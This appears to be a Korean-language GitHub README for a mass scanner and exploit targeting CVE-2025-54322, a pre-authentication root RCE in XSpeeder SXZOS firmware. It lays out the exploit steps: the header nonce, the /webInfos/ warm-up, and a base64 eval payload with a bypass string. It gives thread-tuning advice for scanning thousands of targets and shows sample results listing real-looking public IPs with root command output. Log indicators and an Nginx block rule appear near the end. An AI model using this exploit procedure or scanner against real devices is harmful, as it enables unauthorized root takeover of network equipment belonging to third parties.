
CVE-2025-54322 - XSpeeder SXZOS 사전 인증 RCE 제로데이 탐지기 Quick
CVE-2025-54322에 대한 멀티스레드 취약점 스캐너입니다. 이는 XSpeeder SXZOS 펌웨어에서 전 세계 약 70,000개 이상의 호스트에 영향을 미치는 인증되지 않은 원격 코드 실행 취약점입니다.
CVE-2025-54322는 XSpeeder SXZOS 펌웨어에서 발견된 심각한 사전 인증 원격 코드 실행 취약점으로, SD-WAN 장치, 라우터 및 엣지 네트워킹 장비에 사용됩니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-54322 |
| 공급업체 | XSpeeder (중국 네트워킹 공급업체) |
| 영향을 받는 제품 | SXZOS 펌웨어 |
| 취약점 유형 | 사전 인증 원격 코드 실행 (RCE) |
| CVSS 점수 | 9.8+ (심각) |
| 공격 벡터 | 네트워크 |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 영향 | 루트 권한으로 시스템 전체 손상 |
취약점은 SXZOS 펌웨어의 Django 기반 웹 인터페이스에 존재합니다.
/?title=ABC&oIp=XXX&chkid=[base64_payload]eval() 함수를 안전하지 않게 사용함1. X-SXZ-R 헤더에 대한 시간 기반 논스(nonce) 계산
2. /webInfos/ 엔드포인트를 통해 세션 웜업
3. 우회 문자열(#sUserCodexsPwd)을 포함한 악성 페이로드 제작
4. 페이로드를 Base64 인코딩
5. 정확히 3개의 쿼리 매개변수와 함께 익스플로잇 전송
6. 서버가 페이로드를 디코딩하고 평가
7. 명령이 루트 권한으로 실행됨
익스플로잇은 여러 방어 계층을 우회합니다.
SXZ/2.3으로 스푸핑됨X-SXZ-R: [0-6]/webInfos/를 통해 웜업됨#sUserCodexsPwd 주석으로 우회됨vuln-confirm.txt에 저장# 리포지토리 클론
git clone https://github.com/Sachinart/CVE-2025-54322.git
cd CVE-2025-54322
# 필수 의존성 설치
pip install -r requirements.txt
requirements.txt 파일 생성:
requests>=2.31.0
urllib3>=2.0.0
python3 scanner.py targets.txt
# 사용자 정의 스레드 수로 스캔 (기본값: 10)
python3 scanner.py targets.txt 20
# 최대 스레드로 더 빠른 스캔
python3 scanner.py targets.txt 50
# 보수적인 스레드 수로 스캔
python3 scanner.py targets.txt 5
한 줄에 하나의 대상으로 targets.txt 파일 생성:
https://192.168.1.100:4433
https://10.0.0.50:8443
https://example.com:4433
http://vulnerable-device.local
$ python3 scanner.py targets.txt 20
╔═══════════════════════════════════════════════════════════════╗
║ XSpeeder SXZOS (CVE-2025-54322) RCE Scanner ║
║ Pre-Auth Root RCE Vulnerability Checker ║
║ Showing: VULNERABLE HOSTS ONLY ║
╚═══════════════════════════════════════════════════════════════╝
[*] Loaded 2338 targets from targets.txt
[*] Using 20 concurrent threads
[*] Vulnerable hosts will be saved to: vuln-confirm.txt
[*] Starting scan...
======================================================================
[+] VULNERABLE: https://27.40.80.93:4433
[+] Status: VULNERABLE - RCE Confirmed
[+] HTTP Status: 500
[+] Output: uid=0(root) gid=0(root)
======================================================================
[*] Progress: 50/2338 | Found: 12 vulnerable
[*] Progress: 100/2338 | Found: 24 vulnerable
======================================================================
[*] SCAN COMPLETE
======================================================================
[*] Total Time: 890.45 seconds
[*] Total Targets Scanned: 2338
[*] Vulnerable Hosts Found: 156
[*] Success Rate: 6.67%
======================================================================
스캐너는 다음을 표시합니다:
vuln-confirm.txt)XSpeeder SXZOS CVE-2025-54322 - Vulnerable Hosts
Scan started: 2025-12-27 15:30:45
======================================================================
https://27.40.80.93:4433
Status: VULNERABLE - RCE Confirmed
Output: uid=0(root) gid=0(root)
----------------------------------------------------------------------
https://27.40.83.189:4433
Status: VULNERABLE - RCE Confirmed
Output: uid=0(root) gid=0(root)
----------------------------------------------------------------------
======================================================================
Scan completed: 2025-12-27 15:45:30
Total scanned: 2338
Vulnerable: 156
Time taken: 890.45 seconds
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
취약한 시스템을 발견한 경우:
XSpeeder SXZOS 장치를 관리하는 경우:
로그에서 다음 지표를 찾으십시오:
/?title=*&oIp=*&chkid=* 요청SXZ/2.3X-SXZ-R 헤더#sUserCodexsPwd를 포함한 Base64 문자열/webInfos/에 대한 여러 요청 후 루트 경로 요청# 익스플로잇 시도를 차단하는 Nginx 규칙
location / {
if ($args ~* "chkid=") {
return 403;
}
}
이 취약점은 AI 기반 보안 연구 플랫폼인 pwn.ai에 의해 자율적으로 발견되었습니다.
중요: 이는 공개적으로 기록된 최초의 에이전트 발견, 원격으로 악용 가능한 제로데이 RCE 취약점입니다.
Chirag Artani
이 스캐너 구현은 보안 전문가가 다음을 수행하는 데 도움을 주기 위해 제작되었습니다:
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
기여를 환영합니다! 자유롭게 Pull Request를 제출해 주십시오.
질문, 문제 또는 제안 사항이 있으면:
기억하십시오: 큰 힘에는 큰 책임이 따릅니다. 이 도구를 윤리적이고 합법적으로 사용하십시오.
안전하고 윤리적이며 합법적으로 지내십시오.
| 대상 수 | 권장 스레드 | 예상 시간 |
|---|
| 1-10 | 5개 스레드 | ~1-2분 |
| 10-50 | 10개 스레드 | ~3-5분 |
| 50-100 | 20개 스레드 | ~5-10분 |
| 100-500 | 30개 스레드 | ~10-20분 |
| 500+ | 40-50개 스레드 | ~20분 이상 |